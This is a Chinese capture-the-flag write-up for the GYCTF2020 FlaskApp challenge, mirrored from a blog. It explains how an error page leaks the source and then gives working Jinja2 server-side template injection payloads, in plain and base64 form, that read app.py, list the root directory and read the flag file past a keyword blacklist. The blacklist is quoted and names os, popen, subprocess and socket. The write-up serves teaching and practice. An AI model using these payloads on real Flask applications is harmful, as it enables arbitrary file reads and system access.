zoukankan      html  css  js  c++  java
  • [GYCTF2020]FlaskApp

    flask

    hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。

    base64decode在不会解析的时候就会报错。

    image-20200413215923714

    由报错可以读到部分代码,如图。

    image-20200413220202762

    关键代码如下:

    获取我们传的text参数,进行解密,如果可以过waf则执行代码。

    @app.route('/decode',methods=['POST','GET'])
    def decode():
        if request.values.get('text') :
            text = request.values.get("text")
            text_decode = base64.b64decode(text.encode())
            tmp = "结果 : {0}".format(text_decode.decode())
            if waf(tmp) :
                flash("no no no !!")
                return redirect(url_for('decode'))
            res =  render_template_string(tmp)
    

    所以可以使用ssti注入。

    因为直接cat flag发现是得不到目录的。

    所以要思索一下他是不是过滤了什么。

    读源码

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
    

    image-20200413220549265

    image-20200413222816560

    waf函数发现了过滤

    原来是flag和os等被过滤。

    def waf(str):
        black_list = ["flag","os","system","popen","import","eval","chr","request",
                      "subprocess","commands","socket","hex","base64","*","?"]
        for x in black_list :
            if x in str.lower() :
                return 1
    

    image-20200413223123073

    利用字符串拼接找目录

    发现了this_is_the_flag.txt

    {{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
    
    #IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==
    

    image-20200413225322621

    读取使用切片省去了拼接flag的步骤

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
    
    #eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
    

    image-20200413230233670

  • 相关阅读:
    单片机控制蜂鸣器和弦音发音程序
    Ajax发送Post请求
    加壳学习笔记(一)-基础知识
    每日一小练——等值数目
    NTP配置实践
    由查找session IP 展开---函数、触发器、包
    单片机第13课:串口通信---向计算机发送数据
    [think in java]知识点学习
    【插件开发】—— 8 IPreferenceStore,插件的键/值存储!
    【插件开发】—— 7 SWT布局详解,不能再详细了!
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12694933.html
Copyright © 2011-2022 走看看